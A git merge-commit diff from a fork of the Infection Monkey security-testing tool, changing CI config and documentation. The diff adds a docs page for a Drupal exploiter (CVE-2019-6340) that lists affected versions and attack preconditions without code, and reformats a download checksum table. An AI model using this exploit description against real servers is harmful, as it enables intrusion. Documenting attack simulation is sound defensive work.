forked from p15670423/monkey
Merge branch 'develop' into 764/swimm-tutorials
This commit is contained in:
commit
fe4da99a71
|
@ -91,7 +91,7 @@ profiler_logs/
|
||||||
# vim swap files
|
# vim swap files
|
||||||
*.swp
|
*.swp
|
||||||
|
|
||||||
# Server config might contain credentials. Don't commit by default.
|
# Server config might contain credentials
|
||||||
/monkey/monkey_island/cc/server_config.json
|
/monkey/monkey_island/cc/server_config.json
|
||||||
|
|
||||||
# Virtualenv
|
# Virtualenv
|
||||||
|
|
|
@ -4,4 +4,4 @@
|
||||||
url = https://github.com/guardicore/cti
|
url = https://github.com/guardicore/cti
|
||||||
[submodule "docs/themes/learn"]
|
[submodule "docs/themes/learn"]
|
||||||
path = docs/themes/learn
|
path = docs/themes/learn
|
||||||
url = https://github.com/ShayNehmad/hugo-theme-learn.git
|
url = https://github.com/guardicode/hugo-theme-learn.git
|
||||||
|
|
12
.travis.yml
12
.travis.yml
|
@ -16,6 +16,10 @@ python:
|
||||||
|
|
||||||
os: linux
|
os: linux
|
||||||
|
|
||||||
|
before_install:
|
||||||
|
# Init server_config.json to default
|
||||||
|
- cp monkey/monkey_island/cc/server_config.json.default monkey/monkey_island/cc/server_config.json
|
||||||
|
|
||||||
install:
|
install:
|
||||||
# Python
|
# Python
|
||||||
- pip freeze
|
- pip freeze
|
||||||
|
@ -50,7 +54,9 @@ install:
|
||||||
|
|
||||||
before_script:
|
before_script:
|
||||||
# Set the server config to `testing`. This is required for for the UTs to pass.
|
# Set the server config to `testing`. This is required for for the UTs to pass.
|
||||||
- python monkey/monkey_island/cc/set_server_config.py testing
|
- pushd /home/travis/build/guardicore/monkey/monkey
|
||||||
|
- python monkey_island/cc/environment/set_server_config.py testing
|
||||||
|
- popd
|
||||||
|
|
||||||
script:
|
script:
|
||||||
# Check Python code
|
# Check Python code
|
||||||
|
@ -66,7 +72,7 @@ script:
|
||||||
## Display the linter issues
|
## Display the linter issues
|
||||||
- cat flake8_warnings.txt
|
- cat flake8_warnings.txt
|
||||||
## Make sure that we haven't increased the amount of warnings.
|
## Make sure that we haven't increased the amount of warnings.
|
||||||
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
|
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80
|
||||||
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
||||||
|
|
||||||
## Check import order
|
## Check import order
|
||||||
|
@ -83,7 +89,7 @@ script:
|
||||||
- cd monkey_island/cc/ui
|
- cd monkey_island/cc/ui
|
||||||
- npm ci # See https://docs.npmjs.com/cli/ci.html
|
- npm ci # See https://docs.npmjs.com/cli/ci.html
|
||||||
- eslint ./src --quiet # Test for errors
|
- eslint ./src --quiet # Test for errors
|
||||||
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=28
|
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=4
|
||||||
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings
|
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings
|
||||||
|
|
||||||
# Build documentation
|
# Build documentation
|
||||||
|
|
|
@ -0,0 +1,35 @@
|
||||||
|
---
|
||||||
|
title: "Drupal"
|
||||||
|
date: 2020-09-01T08:42:46+03:00
|
||||||
|
draft: false
|
||||||
|
tags: ["exploit", "linux", "windows"]
|
||||||
|
---
|
||||||
|
|
||||||
|
The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
|
||||||
|
on a vulnerable Drupal server.
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
Some field types do not properly sanitize data from non-form sources in certain versions
|
||||||
|
of Drupal server.
|
||||||
|
|
||||||
|
This can lead to arbitrary PHP code execution in some cases.
|
||||||
|
|
||||||
|
|
||||||
|
### Affected Versions
|
||||||
|
|
||||||
|
* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
|
||||||
|
|
||||||
|
One of the following conditions must hold:
|
||||||
|
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
|
||||||
|
or POST requests; OR
|
||||||
|
* The site has another web services module enabled, like JSON:API in
|
||||||
|
Drupal 8, or Services or RESTful Web Services in Drupal 7.
|
||||||
|
|
||||||
|
|
||||||
|
### Notes
|
||||||
|
|
||||||
|
* The Infection Monkey exploiter implementation is based on an open-source
|
||||||
|
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
|
||||||
|
of the exploit by @leonjza.
|
||||||
|
* For the full attack to work, more than one vulnerable URL is required.
|
|
@ -20,3 +20,7 @@ Once you're done setting the Monkey up, check out our [Getting Started](../usage
|
||||||
{{% notice tip %}}
|
{{% notice tip %}}
|
||||||
You can find information about [operating system compatibility and support here](../reference/operating_systems_support).
|
You can find information about [operating system compatibility and support here](../reference/operating_systems_support).
|
||||||
{{% /notice %}}
|
{{% /notice %}}
|
||||||
|
|
||||||
|
{{% notice tip %}}
|
||||||
|
You can find the binary checksums of our installers to verify their integrity [in this page](../usage/file-checksums).
|
||||||
|
{{% /notice %}}
|
|
@ -20,7 +20,7 @@ Get-FileHash '.\Monkey Island v1.8.2_3536_windows.exe' | Format-List
|
||||||
# Should print
|
# Should print
|
||||||
# Algorithm : SHA256
|
# Algorithm : SHA256
|
||||||
# Hash : 2BE528685D675C882604D98382ADB739F5BA0A7E234E3569B21F535173BD9569
|
# Hash : 2BE528685D675C882604D98382ADB739F5BA0A7E234E3569B21F535173BD9569
|
||||||
# Path : C:\Users\shay.nehmad\Desktop\work\compiled monkeys\1.8.2\Monkey Island v1.8.2_3536_windows.exe
|
# Path : C:\Users\shay.nehmad\Desktop\work\compiled monkeys\1.8.2\Monkey Island v1.8.2_3536_windows.exe <-- Your path will be different
|
||||||
```
|
```
|
||||||
|
|
||||||
### On Linux
|
### On Linux
|
||||||
|
@ -28,51 +28,151 @@ Get-FileHash '.\Monkey Island v1.8.2_3536_windows.exe' | Format-List
|
||||||
Use the `sha256sum` <i class="fas fa-terminal"></i> shell command, like so:
|
Use the `sha256sum` <i class="fas fa-terminal"></i> shell command, like so:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
sha256sum monkey-linux-64
|
$ sha256sum monkey-linux-64
|
||||||
# Should print:
|
# Should print:
|
||||||
# 734dd2580f3d483210daf54c063a0a972911bbe9afb6ebc6278f86cd6b05e7ab monkey-linux-64
|
# 734dd2580f3d483210daf54c063a0a972911bbe9afb6ebc6278f86cd6b05e7ab monkey-linux-64
|
||||||
```
|
```
|
||||||
|
|
||||||
## Latest version checksums
|
## Latest version checksums
|
||||||
|
|
||||||
| Filename | Type | Version | SHA256 hash |
|
| Filename | Type | Version | SHA256 |
|
||||||
|-|-|-|-|
|
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
|
||||||
monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068`
|
| monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068` |
|
||||||
monkey-windows-32.exe | Windows Agent | 1.9.0 | `67f12171c3859a21fc8f54c5b2299790985453e9ac028bb80efc7328927be3d8`
|
| monkey-windows-32.exe | Windows Agent | 1.9.0 | `67f12171c3859a21fc8f54c5b2299790985453e9ac028bb80efc7328927be3d8` |
|
||||||
monkey-linux-64 | Linux Agent | 1.9.0 | `aec6b14dc2bea694eb01b517cca70477deeb695f39d40b1d9e5ce02a8075c956`
|
| monkey-linux-64 | Linux Agent | 1.9.0 | `aec6b14dc2bea694eb01b517cca70477deeb695f39d40b1d9e5ce02a8075c956` |
|
||||||
monkey-linux-32 | Linux Agent | 1.9.0 | `4c24318026239530ed2437bfef1a01147bb1f3479696eb4eee6009326ce6b380`
|
| monkey-linux-32 | Linux Agent | 1.9.0 | `4c24318026239530ed2437bfef1a01147bb1f3479696eb4eee6009326ce6b380` |
|
||||||
infection_monkey_deb.tgz | Debian Package | 1.9.0 | `33c23ddae283e3aafe965d264bc88464b66db3dd6874fd7e5cbcd4e931b3bb25`
|
| infection_monkey_deb.tgz | Debian Package | 1.9.0 | `33c23ddae283e3aafe965d264bc88464b66db3dd6874fd7e5cbcd4e931b3bb25` |
|
||||||
infection_monkey_debzt.tgz | Debian Package | 1.9.0 | `cc53fe9632f44248357d6bd20cf8629be9baf8688468fa6d3e186dcebf10cef6`
|
| infection_monkey_debzt.tgz | Debian Package | 1.9.0 | `cc53fe9632f44248357d6bd20cf8629be9baf8688468fa6d3e186dcebf10cef6` |
|
||||||
Monkey Island v1.9.0_3546_windows.exe | Windows Installer | 1.9.0 | `371f6d25e8cb16ea7ebdfd367092ee65b33db2ec35b44d96705716641eaa59e8`
|
| Monkey Island v1.9.0_3546_windows.exe | Windows Installer | 1.9.0 | `371f6d25e8cb16ea7ebdfd367092ee65b33db2ec35b44d96705716641eaa59e8` |
|
||||||
Monkey Island v1.9.0_3546_windowszt.exe | Windows Installer | 1.9.0 | `662c611fb83bb8c7ef5f99c5d5ae04f5758727c688238d6a3cd4c58675581695`
|
| Monkey Island v1.9.0_3546_windowszt.exe | Windows Installer | 1.9.0 | `662c611fb83bb8c7ef5f99c5d5ae04f5758727c688238d6a3cd4c58675581695` |
|
||||||
infection_monkey_docker_docker_20200806_153913.tgz | Docker | 1.9.0 | `5da11c539045a395ced5dd572d331c4f0e9315a3ee192c06279ff4fef668b96e`
|
| infection_monkey_docker_docker_20200806_153913.tgz | Docker | 1.9.0 | `5da11c539045a395ced5dd572d331c4f0e9315a3ee192c06279ff4fef668b96e` |
|
||||||
infection_monkey_docker_dockerzt_20200806_154742.tgz | Docker | 1.9.0 | `a84dbaad32ae42cc2d359ffbe062aec493a7253cf706a2d45f0d0b1c230f9348`
|
| infection_monkey_docker_dockerzt_20200806_154742.tgz | Docker | 1.9.0 | `a84dbaad32ae42cc2d359ffbe062aec493a7253cf706a2d45f0d0b1c230f9348` |
|
||||||
monkey-island-vmware.ova | OVA | 1.9.0 | `3861d46518e8a92e49992b26dbff9fe8e8a4ac5fd24d68e68b13e7fd3fa22247`
|
| monkey-island-vmware.ova | OVA | 1.9.0 | `3861d46518e8a92e49992b26dbff9fe8e8a4ac5fd24d68e68b13e7fd3fa22247` |
|
||||||
monkey-island-vmwarezt.ova | OVA | 1.9.0 | `03d356eb35e6515146f5bd798bb62cb15c56fcdf83a5281cf6cdc9b901586026`
|
| monkey-island-vmwarezt.ova | OVA | 1.9.0 | `03d356eb35e6515146f5bd798bb62cb15c56fcdf83a5281cf6cdc9b901586026` |
|
||||||
|
|
||||||
|
|
||||||
## Older checksums
|
## Older checksums
|
||||||
|
|
||||||
| Filename | Type | Version | SHA256 hash |
|
| Filename | Type | Version | SHA256 |
|
||||||
|-|-|-|-|
|
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
|
||||||
monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550`
|
| monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550` |
|
||||||
monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f`
|
| monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f` |
|
||||||
monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5`
|
| monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5` |
|
||||||
monkey-linux-32 | Linux Agent | 1.8.2 | `39d3fe1c7b33482a8cb9288d323dde17b539825ab2d736be66a9582764185478`
|
| monkey-linux-32 | Linux Agent | 1.8.2 | `39d3fe1c7b33482a8cb9288d323dde17b539825ab2d736be66a9582764185478` |
|
||||||
infection_monkey_deb.tgz | Debian Package | 1.8.2 | `2a6b4b9b846566724ff985c6cc8283222b981b3495dd5a8920b6bc3f34d556e2`
|
| infection_monkey_deb.tgz | Debian Package | 1.8.2 | `2a6b4b9b846566724ff985c6cc8283222b981b3495dd5a8920b6bc3f34d556e2` |
|
||||||
Monkey Island v1.8.2_3536_windows.exe | Windows Installer | 1.8.2 | `2be528685d675c882604d98382adb739f5ba0a7e234e3569b21f535173bd9569`
|
| Monkey Island v1.8.2_3536_windows.exe | Windows Installer | 1.8.2 | `2be528685d675c882604d98382adb739f5ba0a7e234e3569b21f535173bd9569` |
|
||||||
Monkey Island v1.8.2_3536_windowszt.exe | Windows Installer | 1.8.2 | `f282ce4dd50abe54671948fb5b3baf913087459444e451660971290a72fe244a`
|
| Monkey Island v1.8.2_3536_windowszt.exe | Windows Installer | 1.8.2 | `f282ce4dd50abe54671948fb5b3baf913087459444e451660971290a72fe244a` |
|
||||||
infection_monkey_docker_docker_20200607_172156.tgz | Docker | 1.8.2 | `0e4bc731ef7e8bf19b759709672375890136c008526be454850d334d9ba5012d`
|
| infection_monkey_docker_docker_20200607_172156.tgz | Docker | 1.8.2 | `0e4bc731ef7e8bf19b759709672375890136c008526be454850d334d9ba5012d` |
|
||||||
infection_monkey_docker_dockerzt_20200607_172521.tgz | Docker | 1.8.2 | `0f4b0cd6fd54dc14ea50c5d2fb3fc711e9863518bd5bffd04e08a0f17eb99e75`
|
| infection_monkey_docker_dockerzt_20200607_172521.tgz | Docker | 1.8.2 | `0f4b0cd6fd54dc14ea50c5d2fb3fc711e9863518bd5bffd04e08a0f17eb99e75` |
|
||||||
monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7`
|
| monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7` |
|
||||||
monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08`
|
| monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08` |
|
||||||
monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6`
|
| monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6` |
|
||||||
monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2`
|
| monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2` |
|
||||||
infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e`
|
| infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e` |
|
||||||
infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07`
|
| infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07` |
|
||||||
Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4`
|
| Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4` |
|
||||||
Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d`
|
| Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d` |
|
||||||
infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190`
|
| infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190` |
|
||||||
infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c`
|
| infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c` |
|
||||||
monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915`
|
| monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915` |
|
||||||
monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91`
|
| monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91` |
|
||||||
|
| monkey-linux-64 | Debian Package | 1.8.0 | `b0de3931f6b9c2d986860151e5094e4c57aafa5e3e4aced828ecba36e4ece851` |
|
||||||
|
| infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190` |
|
||||||
|
| Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4` |
|
||||||
|
| monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7` |
|
||||||
|
| monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6` |
|
||||||
|
| monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08` |
|
||||||
|
| monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2` |
|
||||||
|
| infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e` |
|
||||||
|
| infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07` |
|
||||||
|
| infection_monkey_docker_docker_20200401_174048.tgz | Docker | 1.8.0 | `ae59b222a94e1ec83a1c36917bc5cd3d119057e146ac01242af91808f3dce37a` |
|
||||||
|
| infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c` |
|
||||||
|
| Monkey Island v1.8.0_3514_windows.exe | Windows Installer | 1.8.0 | `a56bd98ca3d0dd260f26ac5ee46022fd5ca3f9081a43535b4f57cef43c345dc0` |
|
||||||
|
| Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d` |
|
||||||
|
| Monkey Island v1.8.0_3516_windows.exe | Windows Installer | 1.8.0 | `a31a3837d8ca722e8db10148704237b032e5ef62acc080a82ab80f009d8de6bd` |
|
||||||
|
| Monkey Island v1.8.0_3517_windows.exe | Windows Installer | 1.8.0 | `450e9ea58a5282f506f819bdc3d4477bbc917d74ee837ca0cc3e62b4a923fef1` |
|
||||||
|
| Monkey Island v1.8.0_3519_windows.exe | Windows Installer | 1.8.0 | `dfaf7b11b148a5648ca92887d731633f85b68dc82313616f0009eee123c47352` |
|
||||||
|
| Monkey Island v1.8.0_3520_windows.exe | Windows Installer | 1.8.0 | `719427a7f1878555d6940485330f51e2ddb3331c96b60a1719f6e21987efb3d3` |
|
||||||
|
| Monkey Island v1.8.0_3521_windows.exe | Windows Installer | 1.8.0 | `a9a37ec2677fc7d224c5993f914ba402c9f86c2f909dc5d649f67d08802dc847` |
|
||||||
|
| Monkey Island v1.8.0_3522_windows.exe | Windows Installer | 1.8.0 | `4aaa5a99a108ab3cb14b9268a32ac68cb2de4a001ae0e4374ca779824981ea64` |
|
||||||
|
| Monkey Island v1.8.0_3523_windows.exe | Windows Installer | 1.8.0 | `4f029d2683cf68e63f8b426fa19df9561add0ed169821b4fc83c2721f0939520` |
|
||||||
|
| Monkey Island v1.8.0_3525_windows.exe | Windows Installer | 1.8.0 | `4a660cf5eda5beae844e5a62031972304eaa0432c32708f11d94dc0a501be182` |
|
||||||
|
| Monkey Island v1.8.0_3525_windowszt.exe | Windows Installer | 1.8.0 | `980ba04ef9f6395e2885851f906ee3ed57d696a2e984aa1e7a59446a57ce0408` |
|
||||||
|
| infection_monkey_docker_docker_20200419_160310.tgz | Docker | 1.8.0 | `999edc833484f51475db5a56e0557b59d09f520453b8077c60f7d9359b504299` |
|
||||||
|
| infection_monkey_docker_dockerzt_20200419_160542.tgz | Docker | 1.8.0 | `87ec632837d4add968831ee7fd271871f89e5b29e251d046ebf100bc94bb755e` |
|
||||||
|
| Monkey Island v1.8.0_3526_windows.exe | Windows Installer | 1.8.0 | `6b6c05f3575eef9b95c1624f74953e54654211de4ae1ad738b287e661f002989` |
|
||||||
|
| Monkey Island v1.8.0_3526_windowszt.exe | Windows Installer | 1.8.0 | `f181e58820817d76274fab3ee2a7824fc0d5b1f637d7f5c7fe111eb7061844f2` |
|
||||||
|
| Monkey Island v1.8.0_3527_windows.exe | Windows Installer | 1.8.0 | `94c2e09ca103bc22206715783616af91e58fe773a04c975d6a09d48d9a5759b2` |
|
||||||
|
| infection_monkey_docker_docker_20200420_151527.tgz | Docker | 1.8.0 | `fe4512fd46c3be6c9416287e3a703e8453a46a17b05404ba72035036946f6dbd` |
|
||||||
|
| infection_monkey_docker_docker_20200420_153306.tgz | Docker | 1.8.0 | `17ef5de58a49168a70085cb80063355ac489139c88d029d175a09e36524fe224` |
|
||||||
|
| infection_monkey_docker_docker_20200420_174533.tgz | Docker | 1.8.0 | `fcf57ab8b1b77bcf678765c90798b950fd4a62019c48ebeeac37e9d3011b6b2e` |
|
||||||
|
| infection_monkey_docker_docker_20200427_184208.tgz | Docker | 1.8.0 | `082165abd8c45d9731472ae0877fecedfbcefcff8c0003b43d4300854908f0cb` |
|
||||||
|
| infection_monkey_docker_dockerzt_20200427_184441.tgz | Docker | 1.8.0 | `74f824ecb14f5d47182156999d5aeaf2177d719c6f53ed81b68606b2ed931647` |
|
||||||
|
| Monkey Island v1.8.0_3528_windows.exe | Windows Installer | 1.8.0 | `baa13321c88223acd0262137ba018f9cbea869b5d1920565a5e6c8eb2c83b80e` |
|
||||||
|
| Monkey Island v1.8.0_3528_windowszt.exe | Windows Installer | 1.8.0 | `466f7c3aa052163f10e154ec787b31a98b54ced8cffc17373525e8ca39ec2556` |
|
||||||
|
| monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915` |
|
||||||
|
| monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91` |
|
||||||
|
| monkey_island_vmware.deb | VMWare Debian | 1.7.0 | `8F77347343B1D070C4BCC43A6CF5971F086665206F76AD1304359ADB388C55DE` |
|
||||||
|
| dk.monkeyisland.latest.tar | Docker | 1.7.0 | `E92CD45DB172342FE906FEFA7F26BACB2F59C2BE8484756B71CD1BDEBCCA8BFB` |
|
||||||
|
| monkey-windows-32.exe | Agent | 1.7.0 | `00E121EC8AA3519498D225066A3BC29984A7DA2A6F4F0641ED465FD64107A117` |
|
||||||
|
| Monkey Island v1.7.0.3478.exe | Windows Installer | 1.7.0 | `AFC969884939DBE37DA6B8AD4999CA6E9F18E54BA03AC0C04C59ABB6D6204634` |
|
||||||
|
| monkey_island.deb | Debian | 1.7.0 | `4AE051BC47B39FA05937994B3D24226771D03891AB2EA484FD7B4AADC0C5E220` |
|
||||||
|
| monkey-windows-64.exe | Agent | 1.7.0 | `BCF60E0C4BC2578361CCACDA0C183B726AF375F0142306CA9013A14BBA9B962C` |
|
||||||
|
| monkey-linux-64 | Agent | 1.7.0 | `333529B3061473BF5EE713FA7E3DF4B05DD01823840BB92E1E715488A749B9EA` |
|
||||||
|
| monkey-linux-32 | Agent | 1.7.0 | `EF7A72FFDDF3A54C74F458201A45B51B779A68C460A309B0D5FD247264D7137D` |
|
||||||
|
| Monkey Island 1.7.0 OVA 20191013.ova | OVA | 1.7.0 | `EB1D568F1EA9236B3402A65484EE1F06350FF5C4097288F3FE3312474ECB48C7` |
|
||||||
|
| dk.monkeyisland.latest.zt.tar | Docker | 1.7.0 | `C998FD7CC73F394CD39450E49586397F721D8B7F2DFA4CFE30EC797864588C72` |
|
||||||
|
| Monkey Island v1.7.0 zt.exe | Windows Installer | 1.7.0 | `5C6DADDD3BCF0766DB515DC911DC80D7D11DFF8A72BCBBBE21DEB3C9F78B6889` |
|
||||||
|
| monkey_island_zt.deb | Debian | 1.7.0 | `A0515FBCFD9590CEA739E1AFA95CE7FC406C5E4206A67A50C8CD2423540818C8` |
|
||||||
|
| monkey_island_vmware_zt.deb | VMWare Debian | 1.7.0 | `80EDB3FB846251C7B80B72259837629F17A4166C34FE440451BDD7ED8CC43F7F` |
|
||||||
|
| Monkey Island 1.7.0 ZT OVA 20191013.ova | OVA | 1.7.0 | `D220E171CF38DCD434AB4473C72CE29873A495B16FFAA8CA55658F5606398E34` |
|
||||||
|
| infection_monkey_deb_vmware.20190519_125330.tgz | VMWare | 1.6.3 | `22e51f089e6537e2cb349b07b4bf22c7a63c68ae12776a7b5239a0238bf02a05` |
|
||||||
|
| infection_monkey_deb_gcp.20190519_125239.tgz | GCP | 1.6.3 | `b8fdb976af8130329265bd3ad36b553864f6f7a2a2df912cfea4215584774686` |
|
||||||
|
| infection_monkey_docker.20190519_125632.tgz | Docker | 1.6.3 | `5576e20fe8ee502a7b452b504789961aedae214e49061a58ca0f248cc72c1c78` |
|
||||||
|
| monkey-windows-32.exe | Agent | 1.6.3 | `6f68d436a2a85852b02e4d72d4202919753a78e5285c36bd1a5481c8711b1d6b` |
|
||||||
|
| Monkey Island v1.6.3.3468.exe | Windows Installer | 1.6.3 | `69cb63612855165db97eb3c253e5a6f627fe216e0610eca5e5e6f875281a3604` |
|
||||||
|
| infection_monkey_deb.20190519_124555.tgz | Debian | 1.6.3 | `2389b553bd569defa4b81053984f0743b1b4093cdcfcf8561243b9d882d55e83` |
|
||||||
|
| monkey-windows-64.exe | Agent | 1.6.3 | `502c749ede6e09b8c40bc4bbfd2a46c95d3626a1aef74c72ac7b5641595e8c9c` |
|
||||||
|
| monkey-linux-64 | Agent | 1.6.3 | `6cfec4aea2f993294ca32f816a85347be8b155fb9c39706c82866bce8d8f87c1` |
|
||||||
|
| monkey-linux-32 | Agent | 1.6.3 | `996b3883e9b1114b274bf25426ee13060b65f8deb08c96b57857b99d8e8e3277` |
|
||||||
|
| Infection Monkey 1.6.3.ova | OVA | 1.6.3 | `a5b6e7d547ad4ae79508301698d99cbaf3b3ebfb1d2f0274ae1151d803def1e4` |
|
||||||
|
| infection_monkey_deb_azure.20190519_125317.tgz | Azure | 1.6.3 | `fcf1b6bf805f4422deb90f25752573f796d5a73e148086f49db310208b02c829` |
|
||||||
|
| infection_monkey_deb_aws.20190519_130517.tgz | AWS | 1.6.3 | `9c232f5d2f9dc24c9faea3cf597af783798baedb61334e0e650ca79bdac29fec` |
|
||||||
|
| Infection Monkey 1.6.2.ova | OVA | 1.6.2 | `00346E6383E7BBDB107C14B668D251513E150C089A26AAFA3E17040D96C7DEC9` |
|
||||||
|
| infection_monkey_deb.1.6.2.tgz | Debian | 1.6.2 | `56BF1D99DD6674F9D3504D5DD5A62D8B3520B4F25449ED0026E5A0DC99BD0683` |
|
||||||
|
| infection_monkey_1.5_docker.tgz | Docker | 1.6.2 | `2466B4FFFE175EC5DEF0CAACF93EE5CC7D8878DBA63B30F148C560A6AFA5B537` |
|
||||||
|
| Monkey Island v1.6.2.3434.exe | Windows Installer | 1.6.2 | `2B0BFD5721897787536F4F94D5641E061833CBEF0279C0E38C41BC1B3E76A380` |
|
||||||
|
